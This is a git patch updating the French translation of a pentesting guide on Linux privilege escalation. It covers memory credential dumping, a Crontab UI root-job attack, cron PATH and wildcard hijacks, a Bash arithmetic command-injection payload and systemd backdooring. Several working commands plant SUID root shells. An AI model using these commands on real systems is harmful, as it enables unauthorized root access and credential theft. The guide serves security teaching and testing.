From df5598aff91512102db497f664aacf2eaa83f66d Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 10:13:01 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 591 ++++++++++-------- ...ry-untrusted-search-path-cve-2025-41244.md | 146 +++++ .../pentesting-web/vmware-esx-vcenter....md | 16 +- 4 files changed, 475 insertions(+), 279 deletions(-) create mode 100644 src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index dd63f6102..97cbccdc1 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,51 +1,51 @@ -# Linux Privilege Escalation +# Escalade de privilèges sous Linux {{#include ../../banners/hacktricks-training.md}} ## Informations système -### Infos sur l'OS +### Infos OS -Commençons par recueillir des informations sur l'OS en cours d'exécution +Commençons par collecter des informations sur le système d'exploitation en cours d'exécution ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Si vous **avez les droits d'écriture sur n'importe quel dossier dans la variable `PATH`** vous pourriez être capable de détourner certaines bibliothèques ou binaires: +Si vous **avez des permissions d'écriture sur n'importe quel dossier présent dans la variable `PATH`**, vous pouvez détourner certaines bibliothèques ou binaires : ```bash echo $PATH ``` ### Infos d'environnement -Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ? +Des informations intéressantes, des mots de passe ou des clés API dans les variables d'environnement ? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour escalate privileges. +Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Vous pouvez trouver une bonne liste de kernels vulnérables et quelques **compiled exploits** ici : [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -D'autres sites où vous pouvez trouver des **compiled exploits** : [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Vous pouvez trouver une bonne liste de noyaux vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +D'autres sites où vous pouvez trouver des **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Pour extraire toutes les versions de kernel vulnérables depuis ce site, vous pouvez faire : +Pour extraire toutes les versions de noyau vulnérables depuis ce site vous pouvez faire: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Outils qui peuvent aider à rechercher des exploits pour le kernel : +Outils pouvant aider à rechercher des exploits du kernel : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter IN victim, vérifie seulement les exploits pour kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (à exécuter SUR la victime, ne vérifie que les exploits pour kernel 2.x) -Toujours **rechercher la version du kernel sur Google**, il se peut que votre version du kernel soit mentionnée dans un exploit et alors vous serez sûr que cet exploit est valide. +Recherchez toujours **la version du kernel sur Google**, peut‑être que la version de votre kernel est indiquée dans un exploit et vous serez alors sûr que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Version de sudo Basé sur les versions vulnérables de sudo qui apparaissent dans : ```bash @@ -73,9 +73,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg : échec de la vérification de la signature +### Dmesg signature verification failed -Consultez **smasher2 box of HTB** pour un **exemple** montrant comment cette vuln pourrait être exploitée. +Consultez **smasher2 box of HTB** pour un **exemple** montrant comment cette vuln pourrait être exploitée ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si vous êtes à l'intérieur d'un conteneur docker vous pouvez essayer d'en sortir : +Si vous êtes à l'intérieur d'un docker container, vous pouvez essayer de vous en échapper : {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Disques -Vérifiez **ce qui est monté et démonté**, où et pourquoi. Si quelque chose est démonté vous pouvez essayer de le monter et vérifier s'il contient des informations privées +Vérifiez **what is mounted and unmounted**, où et pourquoi. Si quelque chose est unmounted, vous pouvez essayer de le mount et vérifier s'il contient des informations privées. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Vérifiez aussi si **un compilateur est installé**. Cela est utile si vous devez utiliser un kernel exploit, car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire). +Vérifiez également si **un compilateur est installé**. Cela est utile si vous devez utiliser un kernel exploit car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Logiciels vulnérables installés -Vérifiez la **version des paquets et services installés**. Peut-être qu'il existe une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalating privileges…\ +Vérifiez la **version des paquets et services installés**. Il se peut qu'il y ait une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalating privileges…\ Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si vous avez un accès SSH à la machine vous pouvez également utiliser **openVAS** pour vérifier les logiciels installés à l'intérieur de la machine qui sont obsolètes ou vulnérables. +Si vous avez un accès SSH à la machine, vous pouvez aussi utiliser **openVAS** pour vérifier si des logiciels installés sur la machine sont obsolètes ou vulnérables. -> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront en grande partie inutiles ; il est donc recommandé d'utiliser des applications comme OpenVAS ou équivalentes qui vérifieront si une version d'un logiciel installé est vulnérable à des exploits connus_ +> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront pour la plupart inutiles ; il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version d'un logiciel installé est vulnérable à des exploits connus_ ## Processus -Jetez un œil à **ce qui est exécuté** et vérifiez si un processus a **plus de privilèges qu'il ne devrait** (par exemple un tomcat exécuté par root ?) +Examinez **les processus** qui s'exécutent et vérifiez si un processus a **plus de privilèges que nécessaire** (par exemple un tomcat exécuté par root ?) ```bash ps aux ps -ef top -n 1 ``` -Vérifiez toujours la présence possible de [**electron/cef/chromium debuggers** en cours d'exécution — vous pourriez en abuser pour obtenir une élévation de privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** détecte ceux-ci en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ -Vérifiez aussi vos privilèges sur les binaires des processus — vous pourriez en écraser un. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** détecte ceux-ci en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ +Vérifiez aussi **vos privilèges sur les binaires des processus**, vous pourriez en écraser certains. ### Process monitoring -Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables qui s'exécutent fréquemment ou lorsque certaines conditions sont remplies. +Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables qui s'exécutent fréquemment ou quand un ensemble de conditions est rempli. ### Process memory -Certains services d'un serveur enregistrent des **credentials en clair dans la mémoire**.\ -Normalement vous aurez besoin de **root privileges** pour lire la mémoire de processus appartenant à d'autres utilisateurs ; par conséquent, ceci est généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir d'autres credentials.\ -Cependant, souvenez-vous qu'**en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez**. +Certains services d'un serveur sauvegardent des **credentials en clair dans la mémoire**.\ +Normalement vous aurez besoin des **root privileges** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc c'est généralement plus utile lorsque vous êtes déjà root et que vous voulez découvrir plus de credentials.\ +Cependant, rappelez-vous qu'**en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez**. > [!WARNING] -> Notez qu'aujourd'hui la plupart des machines n'autorisent pas ptrace par défaut, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié. +> Notez qu'aujourd'hui la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié. > > Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrôle l'accessibilité de ptrace : > -> - **kernel.yama.ptrace_scope = 0**: tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la façon classique dont ptrace fonctionnait. -> - **kernel.yama.ptrace_scope = 1**: seul un processus parent peut être débogué. -> - **kernel.yama.ptrace_scope = 2**: Seul l'admin peut utiliser ptrace, car cela requiert la capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Aucun processus ne peut être tracé avec ptrace. Une fois réglé, un redémarrage est nécessaire pour réactiver le traçage via ptrace. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Si vous avez accès à la mémoire d'un service FTP (par exemple) vous pouvez obtenir le Heap et rechercher à l'intérieur ses credentials. +Si vous avez accès à la mémoire d'un service FTP (par exemple), vous pouvez obtenir le Heap et rechercher à l'intérieur ses credentials. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### Script GDB +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Pour un ID de processus donné, **maps montrent comment la mémoire est mappée dans l'espace d'adresses virtuel de ce processus** ; elles montrent aussi les **permissions de chaque région mappée**. Le pseudo-fichier **mem** **expose la mémoire du processus lui-même**. À partir du fichier **maps** nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **seek into the mem file and dump all readable regions** dans un fichier. +Pour un ID de processus donné, **maps montrent comment la mémoire est mappée dans l'espace d'adressage virtuel de ce processus** ; elle montre aussi les **permissions de chaque région mappée**. Le pseudo-fichier **mem** **expose la mémoire du processus elle-même**. À partir du fichier **maps** nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **seek dans le fichier mem et dump toutes les régions lisibles** dans un fichier. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fournit l'accès à la mémoire **physique** du système, et non à la mémoire virtuelle. L'espace d'adresses virtuelles du kernel est accessible via /dev/kmem.\ +`/dev/mem` donne accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adresses virtuelles du kernel est accessible via /dev/kmem.\ Typiquement, `/dev/mem` n'est lisible que par **root** et le groupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump pour linux +### ProcDump pour Linux -ProcDump est une réinvention pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Téléchargez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump est une réinvention pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Obtenez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,29 +266,29 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Outils -Pour dump la mémoire d'un processus vous pouvez utiliser : +Pour extraire la mémoire d'un processus, vous pouvez utiliser : - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez supprimer manuellement l'obligation d'être root et dump le processus qui vous appartient -- Script A.5 tiré de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez manuellement supprimer l'obligation d'être root et extraire le processus qui vous appartient +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) -### Identifiants depuis la mémoire du processus +### Identifiants depuis la mémoire d'un processus #### Exemple manuel -Si vous constatez que le processus authenticator est en cours d'exécution : +Si vous trouvez que le processus authenticator est en cours d'exécution : ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Vous pouvez dump le processus (voir les sections précédentes pour trouver différentes façons de dump la mémoire d'un processus) et rechercher des credentials dans la mémoire : +Vous pouvez dump the process (voir les sections précédentes pour trouver différentes façons de dump the memory of a process) et rechercher des credentials dans la memory : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite les privilèges root pour fonctionner correctement. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va voler des identifiants en clair depuis la mémoire et depuis certains fichiers bien connus. Il nécessite les privilèges root pour fonctionner correctement. | Fonctionnalité | Nom du processus | | ------------------------------------------------- | -------------------- | @@ -313,22 +313,52 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tâches planifiées / Cron jobs +## Tâches planifiées/Cron -Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité wildcard ? Peut-on modifier des fichiers utilisés par root ? Utiliser des symlinks ? Créer des fichiers spécifiques dans le répertoire utilisé par root ?). +### Crontab UI (alseambusher) exécuté en tant que root – web-based scheduler privesc + +Si un panneau web “Crontab UI” (alseambusher/crontab-ui) s'exécute en tant que root et n'est lié qu'à loopback, vous pouvez quand même y accéder via SSH local port-forwarding et créer un job privilégié pour escalader. + +Chaîne typique +- Découvrir un port accessible uniquement depuis loopback (p. ex., 127.0.0.1:8000) et le realm Basic-Auth via `ss -ntlp` / `curl -v localhost:8000` +- Trouver des identifiants dans des artefacts opérationnels : +- Sauvegardes/scripts avec `zip -P ` +- Unité systemd exposant `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Tunnel et login: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- Créer un job à privilèges élevés et l'exécuter immédiatement (dépose un SUID shell) : +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- Utilisez-le : +```bash +/tmp/rootshell -p # root shell +``` +Durcissement +- Ne lancez pas Crontab UI en tant que root ; restreignez-le à un utilisateur dédié avec des permissions minimales +- Limitez la liaison à localhost et restreignez l'accès via firewall/VPN ; ne réutilisez pas les mots de passe +- Évitez d'intégrer des secrets dans les unit files ; utilisez des secret stores ou un EnvironmentFile accessible seulement par root +- Activez l'audit/logging pour les exécutions de jobs à la demande + +Vérifiez si un job planifié est vulnérable. Peut‑être pouvez‑vous profiter d'un script exécuté par root (wildcard vuln? pouvez‑vous modifier des fichiers que root utilise? utiliser des symlinks? créer des fichiers spécifiques dans le répertoire que root utilise?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Chemin Cron -Par exemple, à l'intérieur de _/etc/crontab_ vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Remarquez que l'utilisateur "user" a des droits d'écriture sur /home/user_) +(_Notez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user_) -Si dans ce crontab l'utilisateur root tente d'exécuter une commande ou un script sans définir le PATH. Par exemple : _\* \* \* \* root overwrite.sh_\ -Alors, vous pouvez obtenir un root shell en utilisant : +Si dans ce crontab l'utilisateur root tente d'exécuter une commande ou un script sans définir le PATH. Par exemple: _\* \* \* \* root overwrite.sh_\ +Vous pouvez alors obtenir un shell root en utilisant: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -336,13 +366,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron utilisant un script avec un wildcard (Wildcard Injection) -Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez exploiter cela pour obtenir des comportements inattendus (comme privesc). Exemple: +Si un script exécuté par root contient “**\***” dans une commande, vous pouvez exploiter cela pour provoquer des comportements inattendus (comme un privesc). Exemple: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si le wildcard est précédé d'un chemin comme** _**/some/path/\***_**, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** +**Si le wildcard est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** -Lisez la page suivante pour plus d'astuces d'exploitation des wildcard : +Lisez la page suivante pour plus d'astuces d'exploitation de wildcard : {{#ref}} @@ -350,13 +380,13 @@ wildcards-spare-tricks.md {{#endref}} -### Bash arithmetic expansion injection in cron log parsers +### Bash arithmetic expansion injection dans les cron log parsers -Bash effectue parameter expansion et command substitution avant arithmetic evaluation dans ((...)), $((...)) et let. Si un cron/parser exécuté en root lit des champs de log untrusted et les place dans un arithmetic context, un attaquant peut injecter une command substitution $(...) qui s'exécute en tant que root lorsque le cron tourne. +Bash effectue parameter expansion et command substitution avant l'évaluation arithmétique dans ((...)), $((...)) et let. Si un cron/parser exécuté en root lit des champs de log non fiables et les passe dans un contexte arithmétique, un attaquant peut injecter une command substitution $(...) qui s'exécute en root lorsque le cron tourne. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Pourquoi cela fonctionne : Dans Bash, les expansions surviennent dans cet ordre : parameter/variable expansion, command substitution, arithmetic expansion, puis word splitting et pathname expansion. Ainsi, une valeur comme `$(/bin/bash -c 'id > /tmp/pwn')0` est d'abord substituée (exécution de la commande), puis le `0` numérique restant est utilisé pour l'arithmétique, de sorte que le script continue sans erreurs. -- Typical vulnerable pattern: +- Pattern typique vulnérable : ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -366,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation : Faire écrire du texte contrôlé par l'attaquant dans le log parsé de sorte que le champ ressemblant à un nombre contienne une command substitution et se termine par un chiffre. Assurez-vous que votre commande n'écrit pas sur stdout (ou redirigez-la) afin que l'arithmétique reste valide. +- Exploitation : Faire en sorte qu'un texte contrôlé par l'attaquant soit écrit dans le log parsé afin que le champ à l'apparence numérique contienne une command substitution et se termine par un chiffre. Assurez-vous que votre commande n'écrit pas sur stdout (ou redirigez-la) pour que l'arithmétique reste valide. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -375,21 +405,21 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Si vous **pouvez modifier un cron script** exécuté par root, vous pouvez obtenir un shell très facilement: +Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **répertoire auquel vous avez un accès total**, il peut être utile de supprimer ce dossier et de **créer un symlink vers un autre répertoire** servant un script contrôlé par vous +Si le script exécuté par root utilise un **directory auquel vous avez un accès total**, il peut être utile de supprimer ce dossier et de **créer un symlink vers un autre dossier** servant un script contrôlé par vous. ```bash ln -d -s ``` -### Cron jobs fréquents +### Tâches cron fréquentes -Vous pouvez surveiller les processus pour rechercher ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en tirer parti et escalate privileges. +Vous pouvez surveiller les processus pour rechercher ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Vous pouvez peut‑être en tirer avantage et obtenir une élévation de privilèges. -Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par commandes les moins exécutées** et supprimer les commandes les plus exécutées, vous pouvez faire : +Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus souvent, vous pouvez faire : ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -397,61 +427,61 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Cron jobs invisibles -Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère retour chariot): +Il est possible de créer une cronjob **mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et la cronjob fonctionnera. Exemple (notez le caractère retour chariot): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Services -### Fichiers _.service_ modifiables en écriture +### Fichiers _.service_ inscriptibles -Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pourriez le modifier** afin qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut‑être attendre que la machine soit redémarrée).\ -Par exemple, créez votre backdoor dans le fichier `.service` avec **`ExecStart=/tmp/script.sh`** +Vérifiez si vous pouvez écrire dans un fichier `.service`. Si c'est le cas, vous **pourrez le modifier** afin qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut‑être attendre que la machine soit redémarrée).\ +Par exemple, créez votre backdoor dans le fichier .service avec **`ExecStart=/tmp/script.sh`** -### Binaires de service modifiables en écriture +### Binaires de service inscriptibles -Gardez à l'esprit que si vous avez des **permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les modifier pour y placer des backdoors de sorte que lorsque les services seront ré-exécutés, les backdoors seront exécutées. +Gardez à l'esprit que si vous avez **les permissions d'écriture sur les binaires exécutés par des services**, vous pouvez les modifier pour y mettre des backdoors, de sorte que lorsque les services seront ré-exécutés, les backdoors s'exécuteront. ### systemd PATH - Chemins relatifs -Vous pouvez voir le PATH utilisé par **systemd** avec : +Vous pouvez voir le PATH utilisé par **systemd** avec: ```bash systemctl show-environment ``` -Si vous trouvez que vous pouvez **write** dans n'importe lequel des dossiers du chemin, vous pouvez être en mesure de **escalate privileges**. Vous devez rechercher des chemins relatifs utilisés dans les fichiers de configuration des services tels que : +Si vous constatez que vous pouvez **écrire** dans n'importe quel dossier du chemin, vous pourriez être en mesure d'**escalate privileges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** tels que : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Ensuite, créez un **exécutable** portant **le même nom que le binaire du chemin relatif** dans le dossier PATH de systemd sur lequel vous pouvez écrire, et lorsque le service est invité à exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`). +Ensuite, créez un **exécutable** portant **le même nom que le binaire du chemin relatif** dans le dossier PATH de systemd où vous pouvez écrire, et lorsque le service est invité à exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`). **En savoir plus sur les services avec `man systemd.service`.** ## **Timers** -**Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers `**.service**` ou des événements. Les **Timers** peuvent être utilisés comme alternative à cron car ils prennent en charge nativement les événements basés sur le calendrier et les événements basés sur le temps monotone, et peuvent s'exécuter de manière asynchrone. +Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers `**.service**` ou des événements. Les **Timers** peuvent être utilisés comme alternative à cron car ils offrent un support natif pour les événements basés sur le calendrier et les événements basés sur le temps monotone, et peuvent s'exécuter de façon asynchrone. Vous pouvez énumérer tous les timers avec : ```bash systemctl list-timers --all ``` -### Timers accessibles en écriture +### Timers modifiables -Si vous pouvez modifier un timer, vous pouvez lui faire exécuter certains éléments existants de systemd.unit (comme un `.service` ou un `.target`) +Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines unités existantes de systemd.unit (comme une `.service` ou une `.target`). ```bash Unit=backdoor.service ``` -Dans la documentation vous pouvez lire ce qu'est la Unit : +Dans la documentation, vous pouvez lire ce qu'est l'unité : -> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur correspond par défaut à un service qui a le même nom que l'unité timer, à l'exception du suffixe. (Voir ci‑dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité timer soient identiques, à l'exception du suffixe. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Par conséquent, pour abuser de cette permission vous devrez : +Par conséquent, pour abuser de cette permission, vous devez : -- Trouver une unité 